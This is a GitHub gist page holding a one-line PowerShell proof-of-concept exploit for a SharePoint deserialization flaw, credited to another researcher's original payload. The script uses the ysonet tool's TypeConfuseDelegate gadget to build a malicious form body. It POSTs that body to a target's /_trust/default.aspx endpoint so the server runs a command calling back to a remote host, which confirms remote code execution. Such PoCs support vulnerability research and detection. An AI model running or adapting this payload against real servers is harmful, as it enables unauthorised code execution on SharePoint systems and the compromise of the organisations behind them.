Skip to content

Instantly share code, notes, and snippets.

@irsdl

irsdl/SharePoint SE p2o PoC YSoNet.ps1

Created July 22, 2026 19:51
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save irsdl/b1af7972f16496812c03d94e5406bbe4 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save irsdl/b1af7972f16496812c03d94e5406bbe4 to your computer and use it in GitHub Desktop.
Download ZIP
SharePoint SE p2o PoC Using YSoNet - Original payload from @testanull
Raw
SharePoint SE p2o PoC YSoNet.ps1
$n=[Guid]::NewGuid().ToString('N');$cb="http://remote/spse-cookie-rce-$n";$cmd="powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing '$cb'";$body=((& 'ysonet.exe' -p SharePoint --cve=CVE-2026-50522 --formbody --rawcmd -g TypeConfuseDelegate -c $cmd --target 'http://TARGET') -join "`n").Trim();Write-Host "Callback: $cb";Invoke-WebRequest 'http://TARGET/_trust/default.aspx' -Method Post -Proxy 'http://127.0.0.1:8080' -ContentType 'application/x-www-form-urlencoded' -Body $body -UseBasicParsing -TimeoutSec 60
@irsdl

irsdl commented Jul 22, 2026

Copy link
Copy Markdown
Author

Original: https://gist.github.com/testanull/0868e02d81d57d6c59a91261969f7f81

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment